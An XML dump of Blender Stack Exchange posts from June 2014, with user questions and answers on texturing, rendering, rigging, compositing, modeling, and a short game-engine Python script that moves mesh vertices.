  <row Id="11044" PostTypeId="2" ParentId="10895" CreationDate="2014-06-06T14:23:06.190" Score="4" Body="&lt;p&gt;I am afraid that there is no optical flow available in Blender at this time. Optical flow technology uses motion vectors to estimate motion vectors across an image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To simulate something similar try animating a pseudo mask object that follows the moving 2D image. You can animate it manually or you could use the tracker to follow elements of the animation then hook an object to it in 3D view. Take these actual object movements to use as vectors for the compositor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a better result, you can separate the character from the background if you have a clean plate of the background using a Difference Key node.&lt;/p&gt;&#xA;" OwnerUserId="1218" LastEditorUserId="7797" LastEditDate="2015-01-23T14:20:31.123" LastActivityDate="2015-01-23T14:20:31.123" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11045" PostTypeId="2" ParentId="11037" CreationDate="2014-06-06T15:00:13.363" Score="1" Body="&lt;p&gt;It sounds like you want to use blender's Video Sequence Editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Sequencer/Usage&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Sequencer/Usage&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will create a Movie or Image strip from your source clip.  You will then drag it to the right to open up some time at the beginning.  You can then add a strip for the added frames (whether they are an image sequence, movie clip, title card image, or solid color) in that space.&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2014-06-06T15:00:13.363" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11046" PostTypeId="2" ParentId="11029" CreationDate="2014-06-06T15:59:09.703" Score="3" Body="&lt;p&gt;I found the answer.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;First, the steps that caused the problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After breaking the object using the cell fracture addon, I needed the physics of all the 700 pieces to be driven by an animation (they where parented to a cube which has keyframes to make everything &quot;fall&quot; in one piece).&lt;br&gt;&#xA;Then I keyframed the physics of one piece (1), but there where like 700 objects that I wanted to have that same behavior so to copy those keyframes I read that I just needed to &lt;strong&gt;link the animation data&lt;/strong&gt; as I did (2).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How I found the problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An action was shared linked by 757 objects (3).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Solution:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I selected my group of pieces, hit &lt;kbd&gt;U&lt;/kbd&gt; to unlink the animation data (4) and then I baked the animation and everythig was &lt;em&gt;almost fine&lt;/em&gt;. I didn't knew why but I simply had to &lt;strong&gt;unparent&lt;/strong&gt; all the shards.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1cUcs.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1cUcs.jpg&quot; alt=&quot;Step by Step explanation&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3729" LastEditorUserId="2843" LastEditDate="2016-03-25T22:16:14.463" LastActivityDate="2016-03-25T22:16:14.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11047" PostTypeId="2" ParentId="11007" CreationDate="2014-06-06T16:17:30.220" Score="4" Body="&lt;p&gt;You have to unparent the IK bone from the rest of the rig. Once you have the bone selected in edit mode go to the armature settings and at the top of that menu there's the parent options choose 'clear parent'. That should fix it.&lt;/p&gt;&#xA;" OwnerUserId="3768" LastActivityDate="2014-06-06T16:17:30.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11048" PostTypeId="1" CreationDate="2014-06-06T17:04:14.933" Score="1" ViewCount="192" Body="&lt;p&gt;Is it possible to use IK bones to update quaternion rotation values in Blender?&lt;/p&gt;&#xA;" OwnerUserId="3768" LastEditorUserId="2217" LastEditDate="2014-06-06T19:19:23.380" LastActivityDate="2014-06-07T05:00:39.900" Title="Is it possible to use inverse kinematics and Quaternions in Blender?" Tags="&lt;rigging&gt;&lt;transforms&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11049" PostTypeId="1" AcceptedAnswerId="11051" CreationDate="2014-06-06T17:38:03.100" Score="4" ViewCount="1173" Body="&lt;p&gt;Let's say I have the following [kinda boring] shader setup:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/53i6I.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For what output values of the Voronoi Texture will the surface appear to be displaced outward? How about inward? In Houdini, negative values displace inward, positive values displace outward, and values of 0 don't displace at all. Is it the same in Cycles? Or is it a different range?&lt;/p&gt;&#xA;" OwnerUserId="1170" LastActivityDate="2014-06-06T20:44:39.830" Title="Cycles - What is the expected range of values for Displacement?" Tags="&lt;cycles-render-engine&gt;&lt;shaders&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11050" PostTypeId="1" AcceptedAnswerId="11052" CreationDate="2014-06-06T18:17:08.480" Score="4" ViewCount="1505" Body="&lt;p&gt;I'm trying to recreate the classic, vintage 1980s look of computer graphics - bright, glowing lines on dark background. However, after analyzing old computer graphics I found out that the intersections of lines glow more than the lines themselves - they turn into little glowing points. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to simulate this using Freestyle settings or compositor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zN4b1.jpg&quot; alt=&quot;classic CGI from the 1980s&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1621" LastActivityDate="2014-06-08T20:35:57.437" Title="Blender Freestyle - how to make line crossings glow more than lines themselves?" Tags="&lt;freestyle&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11051" PostTypeId="2" ParentId="11049" CreationDate="2014-06-06T18:31:06.283" Score="4" Body="&lt;p&gt;In Blender 0.5 is no displacement, 0 is inward, 1 is outward. But note that this will not displace the actual surface, it is just a Bumpmapping effect. Thus what is the 'no displacement' level is hard to tell.&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get real displacement you have to apply a 'Displace' modifier to the object. Here you can actually define what value is 'no displacement' and how sttrong the displacement is. Just make sure it is tessellated enough. Add a Subsurf modifier above for example:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/WHDxO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The comparison of displacement in shader (left) to displacement using modifiers (right):&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/zyiXw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&lt;br&gt;&#xA;As @gandalf3 mentioned in the comments, true displacement using nodes is available in cycles as an experimental feature. To activate it, first enable the 'Experimental' feature set in the rendering options:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/VZ7jC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;Then go to the object data panel and set the displacement method to 'True' (1). This will give the same effect as adding a Displacement modifier to the object. To also get the fine tessellation effect of the Subsurf modifier enable 'Use Subdivition' (2). The 'Dicing Rate' controls how fine the mesh is tessellated.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/UuxiJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However this method seems to displace the faces independently, which can lead to gaps in the surface:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/m34za.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3089" LastEditorUserId="3089" LastEditDate="2014-06-06T20:44:39.830" LastActivityDate="2014-06-06T20:44:39.830" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="11052" PostTypeId="2" ParentId="11050" CreationDate="2014-06-06T19:50:44.890" Score="3" Body="&lt;p&gt;You can use a blur node to get this effect.&lt;br&gt;&#xA;The blurred lines will overlap a bit at the intersections, making them brighter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a renderlayer which only renders freestyle lines by disabling everything else in &lt;em&gt;Render layers &gt; Layer &gt; Include&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6Yt3V.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the freestyle line color to white in &lt;em&gt;Render layers &gt; Freestyle Line Style&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yWDpX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Composite (click for larger image):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/XgGY0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XgGY0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Result (click for html5 version):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gfycat.com/HappyLankyIchidna#?speed=3&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://giant.gfycat.com/HappyLankyIchidna.gif&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:45.150" LastActivityDate="2014-06-08T20:35:57.437" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11053" PostTypeId="1" CreationDate="2014-06-06T22:05:20.130" Score="11" ViewCount="45484" Body="&lt;p&gt;I was trying to make a really low poly flower, basically using 2D planes and applying textures with an alpha channel (Targa, 32 bit).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However when doing the UV mapping and applying the texture as usual doesn't yield the expected results. The render either shows the image with the alpha being white, or it doesn't show anything at all (an empty/completely transparent square).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried several settings, but without any results. If I drag the &quot;alpha&quot; down to 0, it makes the whole texture transparent which is not what I want. I've tried selecting Z transparency, and also Mask, but nothing. Is there something I'm missing? It'd be nice to know the basic workflow to get it to work.&lt;/p&gt;&#xA;" OwnerUserId="109" LastEditorUserId="2217" LastEditDate="2014-06-07T02:00:35.453" LastActivityDate="2016-07-07T16:00:56.657" Title="Why is the alpha channel not working?" Tags="&lt;materials&gt;&lt;texturing&gt;&lt;blender-internal-render-engine&gt;&lt;transparency&gt;" AnswerCount="4" CommentCount="7" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="11054" PostTypeId="2" ParentId="11053" CreationDate="2014-06-06T22:31:25.963" Score="8" Body="&lt;p&gt;Enabling Z-transparency and setting the alpha of the material to '0' was correct but you also have to tell Blender that the texture should affect the alpha channel:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RgaUR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3089" LastEditorUserId="241" LastEditDate="2015-07-29T15:30:58.467" LastActivityDate="2015-07-29T15:30:58.467" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11055" PostTypeId="1" CreationDate="2014-06-07T03:55:19.187" Score="7" ViewCount="774" Body="&lt;p&gt;How can I create something like the bubbles in this picture?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2Y9wz.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They are kissing (not fusing like soap bubbles do) so there should be no overlap.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to achieve this with particles?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I envision starting by making a set of large and medium-sized bubbles and then adding a second set of small ones with collisions turned on -that way they should fill the gaps. Is this a good practice or is there a simpler method? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(The large misshapen bubbles are cool but can be ignored for this specific question.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="3292" LastActivityDate="2018-09-24T13:29:56.153" Title="Kissing Spheres of Various Sizes (a plane of bubbles)" Tags="&lt;modeling&gt;&lt;particles&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11056" PostTypeId="2" ParentId="11048" CreationDate="2014-06-07T05:00:39.900" Score="2" Body="&lt;p&gt;Yes, you can insert a keyframe and use 'Visual Rotation', this uses the pose with constraints applied, to set the rotation of the pose bones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that if all you want is the quaternion values (without applying keyframes), Python can get the final matrix can calculate them.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-06-07T05:00:39.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11057" PostTypeId="2" ParentId="6348" CreationDate="2014-06-07T05:32:29.257" Score="6" Body="&lt;p&gt;You can recalculate roll, (Armature -&gt; Bone Roll -&gt; Recalculate Roll), or &lt;code&gt;Shift+N&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can align bone roll to local or global space.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2019-11-23T05:24:14.223" LastActivityDate="2019-11-23T05:24:14.223" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="11058" PostTypeId="1" CreationDate="2014-06-07T08:45:00.440" Score="7" ViewCount="3424" Body="&lt;p&gt;From time to time I lose all edits because of undo in Object Mode. If I enter immediately after Undo in Edit Mode I can't redo, and switching again in Object results in losing all edit history.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;How can I resolve this? Separating undo history by mode or linear/unified will both be acceptable.&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Edit:I think the most preferable solution will be to disable/skip &lt;strong&gt;edit undos&lt;/strong&gt; when in &lt;strong&gt;object mode&lt;/strong&gt; through an addon. &lt;/p&gt;&#xA;" OwnerUserId="3444" LastEditorUserId="3444" LastEditDate="2014-06-10T10:47:36.807" LastActivityDate="2017-08-29T17:52:31.027" Title="How can I undo Edit steps in Object Mode?" Tags="&lt;objects&gt;&lt;editing&gt;" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11059" PostTypeId="1" CreationDate="2014-06-07T09:13:35.477" Score="2" ViewCount="268" Body="&lt;p&gt;I'm using BGE and I want to change the position of a face of a rigid body while the game is running. I don't know how to do it in Python. Thanks for your help!&lt;/p&gt;&#xA;" OwnerUserId="2821" LastActivityDate="2014-07-08T10:08:21.433" Title="Change the position of a face in real time" Tags="&lt;python&gt;&lt;mesh&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11060" PostTypeId="1" AcceptedAnswerId="11063" CreationDate="2014-06-07T09:41:51.143" Score="1" ViewCount="6839" Body="&lt;p&gt;My Blender doesn't render textures in Cycles anymore. It worked before but if I now create a new project and apply a texture to an object it just gets rendered in a color present in the texture (see image).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried:&lt;br&gt;&#xA; * restarting&lt;br&gt;&#xA; * creating new prject&lt;br&gt;&#xA; * using different texture format (png/jpeg)&lt;br&gt;&#xA; * Changed render device (CPU/GPU)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lz0K5.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure I didn't change any settings. I hope it's just something really simple I forgot :D&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in avance for your help =)&lt;/p&gt;&#xA;" OwnerUserId="3769" LastActivityDate="2014-06-07T13:45:25.157" Title="Texture doesn't render with Cycles" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2014-06-08T21:22:31.373" ContentLicense="CC BY-SA 3.0" />
  <row Id="11062" PostTypeId="1" CreationDate="2014-06-07T12:25:27.627" Score="2" ViewCount="2788" Body="&lt;p&gt;I have single object (human model), but I want legs and arms to be in different layers so I can composite it in compositor. I don't want to break it into different object.&lt;/p&gt;&#xA;" OwnerUserId="2635" LastEditorUserId="599" LastEditDate="2014-06-10T02:18:28.010" LastActivityDate="2014-06-10T21:15:03.840" Title="How to put 2 parts of 1 object on different layers?" Tags="&lt;compositor&gt;" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="11063" PostTypeId="2" ParentId="11060" CreationDate="2014-06-07T13:45:25.157" Score="3" Body="&lt;p&gt;You need to UV unwrap an object before an image texture will show up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a quick refresher on how it's done:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select the object and hit TAB to enter edit mode&lt;/li&gt;&#xA;&lt;li&gt;Change the selection mode to edges&lt;/li&gt;&#xA;&lt;li&gt;Select all of your 'seam' edges&lt;/li&gt;&#xA;&lt;li&gt;Hit Ctrl+E to bring up the edge menu and click 'Mark Seam'&lt;/li&gt;&#xA;&lt;li&gt;Select all edges in the object by hitting 'A'&lt;/li&gt;&#xA;&lt;li&gt;Hit 'U' to bring up the UV mapping menu&lt;/li&gt;&#xA;&lt;li&gt;Select your unwrapping method. 'Unwrap' is the quickest&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If your UV/Image editor window is open, you should be able to see the unwrapped object. From there you can mess with its position, rotation, and shape.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&#xA;&lt;img src=&quot;https://i.stack.imgur.com/oNJB4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1170" LastActivityDate="2014-06-07T13:45:25.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11064" PostTypeId="2" ParentId="11062" CreationDate="2014-06-07T13:52:55.077" Score="1" Body="&lt;p&gt;Objects can be moved from one layer to the next.  Mesh elements(vertices, edges, and faces) cannot, since they are apart of the same object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only option I can think of for your situation is to use vertex groups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Vertex_Groups/Vertex_Groups&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Vertex_Groups/Vertex_Groups&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3439" LastActivityDate="2014-06-07T13:52:55.077" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11068" PostTypeId="2" ParentId="6524" CreationDate="2014-06-07T18:13:25.603" Score="-1" Body="&lt;p&gt;I make BGE tutorials on my channel, and I have this exact solution, scripts, and .blend file in the description. Just keep watching through the video, I believe I show you how 3 minutes through. &lt;a href=&quot;https://www.youtube.com/watch?v=d2BL9AxORec&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=d2BL9AxORec&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3772" LastActivityDate="2014-06-07T18:13:25.603" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11071" PostTypeId="2" ParentId="11062" CreationDate="2014-06-08T05:02:50.220" Score="1" Body="&lt;p&gt;You can't move part of an object to a different layer. You can split it into 2 different object by selecting the vertices you want to separate in edit mode and hitting the &lt;b&gt;P key&lt;/b&gt; separate by selection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that you have 2 objects, in object mode place them in different layers by selecting the objects you want to move and hitting the &lt;b&gt;M key&lt;/b&gt; then a number (not from the keypad).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use a &lt;b&gt;Number&lt;/b&gt; to select from the upper row or &lt;b&gt;ALT + Number&lt;/b&gt; for the lower one&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/29tzX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3697" LastActivityDate="2014-06-08T05:02:50.220" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11072" PostTypeId="2" ParentId="11059" CreationDate="2014-06-08T09:53:55.300" Score="1" Body="&lt;p&gt;This example moves the top face of the default cube in the default scene:&#xA;Note the &lt;code&gt;print( dir ( some_obj ))&lt;/code&gt; statements, this helps to examine the data structures:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;import bpy&#xA;cont = bge.logic.getCurrentController( ) &#xA;own = cont.owner&#xA;scn = bge.logic.getCurrentScene( )&#xA;obj = scn.objects[&quot;Cube&quot;]&#xA;mesh = obj.meshes[0]&#xA;print( dir ( mesh ))&#xA;for i in range( 0, mesh.numPolygons ):&#xA;    poly = mesh.getPolygon(i)&#xA;    if i==1:&#xA;        print(&quot;v1=%d v2=%d v3=%d v4=%d&quot; % (poly.v1,poly.v2,poly.v3,poly.v4))&#xA;        vert = mesh.getVertex(0, poly.v1)&#xA;        print( dir (vert))&#xA;        vert.XYZ = [vert.x+1.0, vert.y+1.0, vert.z+1.0]&#xA;        vert = mesh.getVertex(0, poly.v2)&#xA;        vert.XYZ = [vert.x+1.0, vert.y+1.0, vert.z+1.0]&#xA;        vert = mesh.getVertex(0, poly.v3)&#xA;        vert.XYZ = [vert.x+1.0, vert.y+1.0, vert.z+1.0]&#xA;        vert = mesh.getVertex(0, poly.v4)&#xA;        vert.XYZ = [vert.x+1.0, vert.y+1.0, vert.z+1.0]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-06-08T09:53:55.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11073" PostTypeId="1" AcceptedAnswerId="11076" CreationDate="2014-06-08T11:54:29.980" Score="3" ViewCount="10182" Body="&lt;p&gt;How to make a pyramid in blender and all the edges to be equal size? Is there a way to do that in blender? Or if there is no easy way for that, maybe anybody not that lazy can provide me with a math line? Or maybe a link or whatever?&lt;/p&gt;&#xA;" OwnerUserId="3398" LastActivityDate="2018-02-22T17:57:35.213" Title="How to construct a pyramid in blender but the edges of the triangles to be equal?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="8" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11074" PostTypeId="1" AcceptedAnswerId="12075" CreationDate="2014-06-08T15:34:17.683" Score="0" ViewCount="906" Body="&lt;p&gt;I downloaded a model from blendswap.com and when I rendered it I got this - &lt;img src=&quot;https://i.stack.imgur.com/UMVyc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The scene is made up of: the model, plane, hdr map and hemi lamp that is lighting the object. As you can see, the ground plane is not effected by the light. Its node setup is this - &lt;img src=&quot;https://i.stack.imgur.com/RDhxs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is the plane not effected by the light? I even replaced it with other lamps but the effect is the same. Why? How is that done?&lt;/p&gt;&#xA;" OwnerUserId="3398" LastActivityDate="2014-06-08T18:31:59.750" Title="How can a Diffuse material not be effected by light?" Tags="&lt;light&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11075" PostTypeId="1" AcceptedAnswerId="11077" CreationDate="2014-06-08T15:39:33.773" Score="2" ViewCount="755" Body="&lt;p&gt;I'm noticing a significant difference between when my objects are observable in the 3D View and when the objects are rendered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both objects have a material with toon settings and each have materials (incorrectly?) added to the object. the human mesh has separate textures for the head and body. The sword and the human mesh both have &lt;em&gt;mapping &gt; coordinate&lt;/em&gt; set to UV and &lt;em&gt;Mapping &gt; Map&lt;/em&gt; set to UVMap, however only the head texture seems to show up properly, and the sword texture doesn't show up at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://imgur.com/j5vvqaJ.png&quot; alt=&quot;3D View&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/z4IUFN7.png&quot; alt=&quot;Rendered view&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/29710&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blend file&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3775" LastEditorUserId="599" LastEditDate="2014-06-12T00:41:23.390" LastActivityDate="2014-06-12T00:41:23.390" Title="Texture not appearing in render?" Tags="&lt;rendering&gt;&lt;materials&gt;&lt;texturing&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11076" PostTypeId="2" ParentId="11073" CreationDate="2014-06-08T15:54:32.910" Score="8" Body="&lt;p&gt;The formula for the pyramid you are describing can be &lt;a href=&quot;https://en.wikipedia.org/wiki/Square_pyramid#Johnson_solid_.28J1.29&quot; rel=&quot;nofollow noreferrer&quot;&gt;found on Wikipedia&lt;/a&gt;. Look for the formula for the height of the 'Johnson Solid J(1)':&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$$&#xA;H = \frac{1}{\sqrt{2}}a&#xA;$$&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where $a$ is the edge length of your pyramid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Constructing the pyramid is pretty easy now: Start with a plane of the desired size. I started with the default plane (edge length of 2):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZdfOh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now go into edit mode, select one vertex and extrude it (it does not matter which one or how far).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/v8YIK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the properties shelf you can now set the coordinates of the vertex. The properties shelf is the one to the right of your 3d viewport which you can toggle by pressing &lt;kbd&gt;N&lt;/kbd&gt;. Under 'Transform' set the x- and y-coordinate to 0, and the z-coordinate according to the formula from Wikipedia. Since Blender can interpret some python commands in the number fields you can type in the formula directly:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/chqky.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now always select three vertices that should form a pyramid side and connect them to a face.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vlzQA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make sure your normals are all pointing outwards, select everything and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;N&lt;/kbd&gt; to recalculate them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To see the angles between faces go to the properties shelf again, scroll down to 'Mesh Display' and enable the 'Angle' checkbox under 'Edge Info':&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/thfb8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3089" LastEditorUserId="5794" LastEditDate="2018-02-22T17:57:35.213" LastActivityDate="2018-02-22T17:57:35.213" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11077" PostTypeId="2" ParentId="11075" CreationDate="2014-06-08T16:16:48.307" Score="1" Body="&lt;p&gt;You just can not see it because of bad lighting. The highlights and shadows are just much more apparent than the texture color.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Move your lamps around and you will see that the texture is actually there. The body textures however are missing from the file you uploaded.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/1bHCA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LqC7n.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3089" LastActivityDate="2014-06-08T16:16:48.307" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
